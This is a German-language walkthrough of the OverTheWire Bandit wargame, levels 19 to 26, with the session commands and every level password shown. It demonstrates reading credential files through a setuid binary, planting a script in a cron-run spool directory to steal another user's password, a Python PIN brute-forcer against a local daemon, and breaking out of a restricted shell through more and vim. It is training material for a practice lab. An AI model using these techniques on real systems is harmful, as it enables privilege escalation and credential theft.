<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit19@bandit:~$ ./bandit20-do id
</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>11019<span style="color:#f92672">(</span>bandit19<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>11019<span style="color:#f92672">(</span>bandit19<span style="color:#f92672">)</span> euid<span style="color:#f92672">=</span>11020<span style="color:#f92672">(</span>bandit20<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>11019<span style="color:#f92672">(</span>bandit19<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>bandit19@bandit:~$ ./bandit20-do whoami
</span></span><span style="display:flex;"><span>bandit20
</span></span></code></pre></div><p>Wir können durch die Binärdatei also Befehle als <strong>bandit20</strong> ausführen lassen. Dadurch können wir die Datei <strong>/etc/bandit_pass/bandit20</strong> auslesen lassen, welche das Passwort für <strong>bandit20</strong> enthält.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
</span></span><span style="display:flex;"><span>GbKksEFF4yrVs6il55v6gwY5aVje5f0j
</span></span></code></pre></div><h2 id="level-20---level-21"><strong>Level 20 -&gt; Level 21</strong></h2>
<p>Wir melden uns nun als <strong>bandit20</strong> mit dem Passwort <strong>GbKksEFF4yrVs6il55v6gwY5aVje5f0j</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Im Heimverzeichnis befindet sich eine <a href="https://de.wikipedia.org/wiki/Setuid">setuid</a> Binärdatei welche folgendes macht: Sie stellt eine Verbindung zum lokalen Host auf dem Port auf, welchen du in der Kommandozeile als Argument spezifizierst. Sie liest dann den Text denn sie über diese Verbindung gesendet bekommt und vergleicht diesen mit dem Passwort des derzeitigen Levels. Wenn das Passwort korrekt ist, sendet es das Passwort für das nächste Level zurück.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit20@bandit:~$ ls
</span></span><span style="display:flex;"><span>suconnect
</span></span></code></pre></div><p>Diesmal haben wir die Binärdatei <strong>suconnect</strong> im Heimverzeichnis.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit20@bandit:~$ ./suconnect 
</span></span><span style="display:flex;"><span>Usage: ./suconnect &lt;portnumber&gt;
</span></span><span style="display:flex;"><span>This program will connect to the given port on localhost using TCP. If it receives the correct password from the other side, the next password is transmitted back.
</span></span></code></pre></div><p>Indem wir <strong>&amp;</strong> an das Ende eines Befehls hängen, wird dieser im Hintergrund ausgeführt und wir können weitere Befehle eingeben. Durch <strong>nc -l 4444 &amp;</strong> wartet <strong>netcat</strong> im Hintergrund auf eine Verbindung auf Port <strong>4444</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit20@bandit:~$ nc -l <span style="color:#ae81ff">4444</span> &amp;
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>1<span style="color:#f92672">]</span> <span style="color:#ae81ff">20058</span>
</span></span></code></pre></div><p>Nun können wir die Binärdatei auch als Hintergrundprozess ausführen lassen und geben den Port <strong>4444</strong> an.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit20@bandit:~$ ./suconnect <span style="color:#ae81ff">4444</span> &amp;
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>2<span style="color:#f92672">]</span> <span style="color:#ae81ff">20308</span>
</span></span></code></pre></div><p>Durch <strong>fg %1</strong> können wir den Prozess 1 wieder in der Vordergrund holen, in diesem Fall ist das unser Netcat-Listener, zu welchem <strong>suconnect</strong> eine Verbindung aufgebaut hat.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit20@bandit:~$ fg %1
</span></span><span style="display:flex;"><span>nc -l <span style="color:#ae81ff">4444</span>
</span></span></code></pre></div><p>Jetzt müssen wir nur noch das Passwort des derzeitigen Levels eingeben und Enter drücken. Netcat sendet dieses dann an <strong>suconnect</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>GbKksEFF4yrVs6il55v6gwY5aVje5f0j
</span></span><span style="display:flex;"><span>Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
</span></span><span style="display:flex;"><span>Password matches, sending next password
</span></span><span style="display:flex;"><span>gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>2<span style="color:#f92672">]</span>- Done ./suconnect <span style="color:#ae81ff">4444</span>
</span></span></code></pre></div><h2 id="level-21---level-22"><strong>Level 21 -&gt; Level 22</strong></h2>
<p>Wir melden uns nun als <strong>bandit21</strong> mit dem Passwort <strong>gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Ein Programm wird in regelmäßigen Abständen von <a href="https://de.wikipedia.org/wiki/Cron">cron</a>, dem zeitbasierten Job-Steuerer ausgeführt. Sieh in <strong>/etc/cron.d/</strong> nach der Konfiguration und welches Kommando ausgeführt wird.</p>
<p>Sehen wir uns als erstes an, was wir in <strong>/etc/cron.d</strong> finden können.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit21@bandit:~$ ls /etc/cron.d
</span></span><span style="display:flex;"><span>cronjob_bandit22 cronjob_bandit23 cronjob_bandit24 popularity-contest
</span></span></code></pre></div><p><strong>cronjob_bandit22</strong> sieht nach dem aus wonach wir suchen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit21@bandit:~$ cat /etc/cron.d/cronjob_bandit22
</span></span><span style="display:flex;"><span>@reboot bandit22 /usr/bin/cronjob_bandit22.sh &amp;&gt; /dev/null
</span></span><span style="display:flex;"><span>* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &amp;&gt; /dev/null
</span></span></code></pre></div><p>Der Cronjob <strong>cronjob_bandit22</strong> führt regelmäßig das Bash-Skript <strong>/usr/bin/cronjob_bandit22.sh</strong> aus. Sehen wir uns dieses an.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit21@bandit:~$ cat /usr/bin/cronjob_bandit22.sh
</span></span><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash</span>
</span></span><span style="display:flex;"><span>chmod <span style="color:#ae81ff">644</span> /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
</span></span></code></pre></div><p>Das Bash-Skript ändern die Zugriffsrechte der Datei <strong>/tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv</strong>. Was sich in dieser wohl befindet?</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>cat /etc/bandit_pass/bandit22 &gt; /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
</span></span><span style="display:flex;"><span>bandit21@bandit:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
</span></span><span style="display:flex;"><span>Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI
</span></span></code></pre></div><h2 id="level-22---level-23"><strong>Level 22 -&gt; Level 23</strong></h2>
<p>Wir melden uns nun als <strong>bandit22</strong> mit dem Passwort <strong>Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Ein Programm wird in regelmäßigen Abständen von <a href="https://de.wikipedia.org/wiki/Cron">cron</a>, dem zeitbasierten Job-Steuerer ausgeführt. Sieh in <strong>/etc/cron.d/</strong> nach der Konfiguration und welches Kommando ausgeführt wird.<br>
Sich <a href="https://wiki.ubuntuusers.de/Shell/Bash-Skripting-Guide_f%C3%BCr_Anf%C3%A4nger/">Shell-Skripts</a> anzusehen, welche von anderen Leuten geschrieben wurden, ist eine hilfreiche Fähigkeit. Das Skript in diesem Level ist bewusst so gemacht, dass man es einfach lesen kann. Wenn du Probleme damit hast, zu verstehen was es macht, führe es aus und sieh dir die Debuginformationen an, welche es ausgibt.</p>
<p>Sehen wir uns zuerst wieder die Cronjobs an.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit22@bandit:~$ ls /etc/cron.d
</span></span><span style="display:flex;"><span>cronjob_bandit22 cronjob_bandit23 cronjob_bandit24 popularity-contest
</span></span><span style="display:flex;"><span>bandit22@bandit:~$ cat /etc/cron.d/cronjob_bandit23
</span></span><span style="display:flex;"><span>@reboot bandit23 /usr/bin/cronjob_bandit23.sh &amp;&gt; /dev/null
</span></span><span style="display:flex;"><span>* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &amp;&gt; /dev/null
</span></span></code></pre></div><p>Der Cronjob <strong>cronjob_bandit23</strong> führt regelmäßig das Bash-Skript <strong>/usr/bin/cronjob_bandit23.sh</strong> aus.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh 
</span></span><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>myname<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>whoami<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>mytarget<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo I am user $myname | md5sum | cut -d <span style="color:#e6db74">&#39; &#39;</span> -f 1<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;Copying passwordfile /etc/bandit_pass/</span>$myname<span style="color:#e6db74"> to /tmp/</span>$mytarget<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>cat /etc/bandit_pass/$myname &gt; /tmp/$mytarget
</span></span></code></pre></div><p>Das Skript macht folgendes. In der letzten Zeile kopiert es den Inhalt der Datei <strong>/etc/bandit_pass/bandit23</strong>, welche das Passwort von <strong>bandit23</strong> enthält, nach <strong>/tmp/$mytarget</strong>.<br>
Die Variable <strong>$mytarget</strong> setzt sich dadurch zusammen, dass von dem String <strong>I am user bandit23</strong> zuerst eine <a href="https://wiki.ubuntuusers.de/md5sum/">md5sum</a> gebildet wird. Durch <a href="https://wiki.ubuntuusers.de/cut/">cut</a> mit der Option <strong>-d &rsquo; &lsquo;</strong> werden zuerst alle Leerzeichen entfernt und dann durch die Option <strong>-f 1</strong> wird das erste Feld ausgewählt.<br>
Um den Dateinamen herauszufinden, müssen wir das Echo Kommando, welches das Skript ausführt, einfach selber ausführen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit22@bandit:~$ echo I am user bandit23 | md5sum | cut -d <span style="color:#e6db74">&#39; &#39;</span> -f <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>8ca319486bfbbc3663ea0fbe81326349
</span></span></code></pre></div><p>Jetzt wo wir den Dateinamen wissen, können wir den Inhalt wie gewohnt ausgeben lassen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit22@bandit:~$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
</span></span><span style="display:flex;"><span>jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n
</span></span></code></pre></div><h2 id="level-23---level-24"><strong>Level 23 -&gt; Level 24</strong></h2>
<p>Wir melden uns nun als <strong>bandit23</strong> mit dem Passwort <strong>jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Ein Programm wird in regelmäßigen Abständen von <a href="https://de.wikipedia.org/wiki/Cron">cron</a>, dem zeitbasierten Job-Steuerer ausgeführt. Sieh in <strong>/etc/cron.d/</strong> nach der Konfiguration und welches Kommando ausgeführt wird.<br>
Dieses Level erfordert von dir dein erstes eigenes Skript zu erstellen. Dies ist ein großer Schritt und du solltest Stolz auf dich sein, wenn du dieses Level schaffst!<br>
Denke daran, dass dein Skript gelöscht wird sobald es ausgeführt wird. Also behalte besser eine Kopie davon.</p>
<p>Sehen wir uns zuerst wieder die Cronjobs an.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit23@bandit:~$ ls /etc/cron.d
</span></span><span style="display:flex;"><span>cronjob_bandit22 cronjob_bandit23 cronjob_bandit24 popularity-contest
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24
</span></span><span style="display:flex;"><span>@reboot bandit24 /usr/bin/cronjob_bandit24.sh &amp;&gt; /dev/null
</span></span><span style="display:flex;"><span>* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &amp;&gt; /dev/null
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh 
</span></span><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>myname<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>whoami<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>cd /var/spool/$myname
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;Executing and deleting all scripts in /var/spool/</span>$myname<span style="color:#e6db74">:&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> i in * .*;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> <span style="color:#e6db74">&#34;</span>$i<span style="color:#e6db74">&#34;</span> !<span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;.&#34;</span> -a <span style="color:#e6db74">&#34;</span>$i<span style="color:#e6db74">&#34;</span> !<span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;..&#34;</span> <span style="color:#f92672">]</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;Handling </span>$i<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>timeout -s <span style="color:#ae81ff">9</span> <span style="color:#ae81ff">60</span> ./$i
</span></span><span style="display:flex;"><span>rm -f ./$i
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span></code></pre></div><p>Das Skript führt also alle Skripts in <strong>/var/spool/bandit24</strong> aus und löscht diese danach. Erstellen wir uns unter <strong>tmp</strong> ein neuen Verzeichnis, in welchem wir uns ein Skript erstellen können.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit23@bandit:~$ mkdir /tmp/script
</span></span><span style="display:flex;"><span>bandit23@bandit:~$ cd /tmp/script
</span></span></code></pre></div><p>Mit <strong>vi givemepass.sh</strong> erstellen wir die Bash-Datei <strong>givemepass.sh</strong> und öffnen diese in dem Texteditor <a href="https://de.wikipedia.org/wiki/Vi">vi</a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit23@bandit:/tmp/script$ vi givemepass.sh
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash</span>
</span></span><span style="display:flex;"><span>cat /etc/bandit_pass/bandit24 &gt;&gt; /tmp/script/pass
</span></span></code></pre></div><p>Unser Skript liest den Inhalt der Datei <strong>/etc/bandit_pass/bandit24</strong> aus und sendet diesen an die Datei <strong>/tmp/script/pass</strong>. Jetzt müssen wir noch die Zugriffsrechte unseres Skripts ändern, damit dieses auch vom Skript von <strong>bandit24</strong> ausgeführt werden kann. Außerdem ändern wir auch noch die Zugriffsrechte des von uns erstellten Verzeichnisses <strong>/tmp/script</strong>, damit <strong>bandit24</strong> auch die Rechte hat dort die Datei <strong>pass</strong> zu erstellen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit23@bandit:/tmp/script$ chmod <span style="color:#ae81ff">777</span> givemepass.sh 
</span></span><span style="display:flex;"><span>bandit23@bandit:/tmp/script$ chmod <span style="color:#ae81ff">777</span> /tmp/script
</span></span></code></pre></div><p>Jetzt können wir unser Skript in das Verzeichnis <strong>/var/spool/bandit24</strong> kopieren, damit es dort von <strong>bandit24</strong> ausgeführt wird.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit23@bandit:/tmp/script$ cp givemepass.sh /var/spool/bandit24
</span></span></code></pre></div><p>Nun müssen wir nur noch warten bis der Cronjob ausgeführt wird.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit23@bandit:/tmp/script$ ls
</span></span><span style="display:flex;"><span>givemepass.sh pass
</span></span><span style="display:flex;"><span>bandit23@bandit:/tmp/script$ cat pass
</span></span><span style="display:flex;"><span>UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
</span></span></code></pre></div><h2 id="level-24---level-25"><strong>Level 24 -&gt; Level 25</strong></h2>
<p>Wir melden uns nun als <strong>bandit24</strong> mit dem Passwort <strong>UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Ein <a href="https://de.wikipedia.org/wiki/Daemon">Daemon</a> hört Port <strong>30002</strong> ab und gibt dir dass Passwort für <strong>bandit25</strong>, wenn du ihm das Passwort für <strong>bandit24</strong> und einen geheimen 4-stelligen Zahlencode gibst. Es gibt keinen anderen Weg, als alle der 10000 Möglichkeiten des Zahlencodes durchzugehen. Ein selbstgeschriebenes Skript kann dir dabei helfen. Dies nennt man <a href="https://de.wikipedia.org/wiki/Brute-Force-Methode">Brute-Forcing</a>.</p>
<p>In diesem Level müssen wir ein kleines Brute-Force Skript erstellen. Ich habe Python dafür benutzt.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit24@bandit:~$ mkdir /tmp/brute
</span></span><span style="display:flex;"><span>bandit24@bandit:~$ cd /tmp/brute
</span></span><span style="display:flex;"><span>bandit24@bandit:/tmp/brute$ vi brute.py
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> socket
</span></span><span style="display:flex;"><span>pin <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>passwd <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ &#39;</span>
</span></span><span style="display:flex;"><span>s <span style="color:#f92672">=</span> socket<span style="color:#f92672">.</span>socket(socket<span style="color:#f92672">.</span>AF_INET, socket<span style="color:#f92672">.</span>SOCK_STREAM)
</span></span><span style="display:flex;"><span>s<span style="color:#f92672">.</span>connect((<span style="color:#e6db74">&#39;localhost&#39;</span>, <span style="color:#ae81ff">30002</span>))
</span></span><span style="display:flex;"><span>s<span style="color:#f92672">.</span>recv(<span style="color:#ae81ff">1024</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> (pin <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">10000</span>):
</span></span><span style="display:flex;"><span>   print <span style="color:#e6db74">&#39;[+] Versuche: &#39;</span> <span style="color:#f92672">+</span> str(pin)
</span></span><span style="display:flex;"><span>   s<span style="color:#f92672">.</span>sendall(passwd <span style="color:#f92672">+</span> str(pin) <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span>)
</span></span><span style="display:flex;"><span>   data <span style="color:#f92672">=</span> s<span style="color:#f92672">.</span>recv(<span style="color:#ae81ff">1024</span>)
</span></span><span style="display:flex;"><span>   print data
</span></span><span style="display:flex;"><span>   pin <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit24@bandit:/tmp/brute$ python brute.py
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Versuche: <span style="color:#ae81ff">5440</span>
</span></span><span style="display:flex;"><span>Correct!
</span></span><span style="display:flex;"><span>The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG
</span></span></code></pre></div><h2 id="level-25---level-26"><strong>Level 25 -&gt; Level 26</strong></h2>
<p>Wir melden uns nun als <strong>bandit25</strong> mit dem Passwort <strong>uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Sich als <strong>bandit26</strong> einzuloggen von <strong>bandit25</strong> aus sollte einfach sein&hellip; Allerdings ist die Shell für Benutzer <strong>bandit26</strong> nicht <strong>/bin/bash</strong>, sondern etwas anderes. Finde heraus was es stattdessen ist, wie es funktioniert und wie man daraus herausbrechen kann.</p>
<p>Wie schon bei zwei vorherigen Leveln benutzen wir den SSH-Schlüssel um eine SSH-Verbindung aufzubauen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit25@bandit:~$ ls
</span></span><span style="display:flex;"><span>bandit26.sshkey
</span></span><span style="display:flex;"><span>bandit25@bandit:~$ ssh -i bandit26.sshkey bandit26@localhost 
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Welcome to OverTheWire!
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Connection to localhost closed.
</span></span></code></pre></div><p>Die Verbindung wird sofort geschlossen. Sehen wir uns mal <strong>/etc/passwd</strong> an und suchen da nach <strong>bandit26</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit25@bandit:~$ cat /etc/passwd | grep bandit26
</span></span><span style="display:flex;"><span>bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
</span></span></code></pre></div><p><strong>bandit26</strong> hat nicht <strong>/bin/bash</strong> angegeben, wodurch wir eine Shell bekommen hätten, sondern <strong>/usr/bin/showtext</strong>. Sehen wir uns diese Datei mal an.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit25@bandit:~$ cat /usr/bin/showtext
</span></span><span style="display:flex;"><span><span style="color:#75715e">#!/bin/sh</span>
</span></span><span style="display:flex;"><span>export TERM<span style="color:#f92672">=</span>linux
</span></span><span style="display:flex;"><span>more ~/text.txt
</span></span><span style="display:flex;"><span>exit <span style="color:#ae81ff">0</span>
</span></span></code></pre></div><p>Hier müssen wir einen Trick anwenden. Und zwar müssen wir das Terminal kleiner machen, damit nicht mehr der gesamte Text angezeigt werden kann. Dadurch wird das <strong>more</strong> getriggert und wir werden nicht sofort herausgeworfen. :)</p>
<p><a href="https://imgur.com/mdcY2gQ"><img alt="Terminal klein" src="https://imgur.com/mdcY2gQ.jpg"></a></p>
<p>Durch das drücken von <strong>v</strong> können wir den Text-Editor <a href="https://de.wikipedia.org/wiki/Vim">vim</a> öffnen. Jetzt können wir folgendes eingeben um uns das Passwort ausgeben zu lassen:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-vim" data-lang="vim"><span style="display:flex;"><span>:<span style="color:#a6e22e">e</span> <span style="color:#e6db74">/etc/</span><span style="color:#a6e22e">bandit_pass</span>/<span style="color:#a6e22e">bandit26</span>
</span></span></code></pre></div><p><strong>Enter</strong> drücken:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-vim" data-lang="vim"><span style="display:flex;"><span><span style="color:#ae81ff">5</span>czgV<span style="color:#ae81ff">9</span>L<span style="color:#ae81ff">3</span>Xx<span style="color:#ae81ff">8</span>JPOyRbXh<span style="color:#ae81ff">6</span>lQbmIOWvPT<span style="color:#ae81ff">6</span>Z
</span></span></code></pre></div><p>Alternativ können wir uns auch eine Shell geben durch:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-vim" data-lang="vim"><span style="display:flex;"><span>:<span style="color:#66d9ef">set</span> <span style="color:#a6e22e">shell</span>=<span style="color:#e6db74">/bin/</span><span style="color:#a6e22e">bash</span>
</span></span></code></pre></div><p>und danach</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-vim" data-lang="vim"><span style="display:flex;"><span>:<span style="color:#a6e22e">shell</span>
</span></span></code></pre></div><p>Nun haben wir eine Shell.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit26@bandit:~$ cat /etc/bandit_pass/bandit26
</span></span><span style="display:flex;"><span>5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z
</span></span></code></pre></div><h2 id="level-26---level-27"><strong>Level 26 -&gt; Level 27</strong></h2>
<p>Wir melden uns nun als <strong>bandit26</strong> mit dem Passwort <strong>5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Denkt beim anmelden per SSH an das was wir im letzen Level herausgefunden haben&hellip;</p>
<p>Damit die Verbindung nicht sofort geschlossen wird, müssen wir die letzten Schritte des vorherigen Levels wiederholen. Das Terminal klein ziehen, <strong>v</strong> drücken um <a href="https://de.wikipedia.org/wiki/Vim">vim</a> zu öffnen und dann:</p>
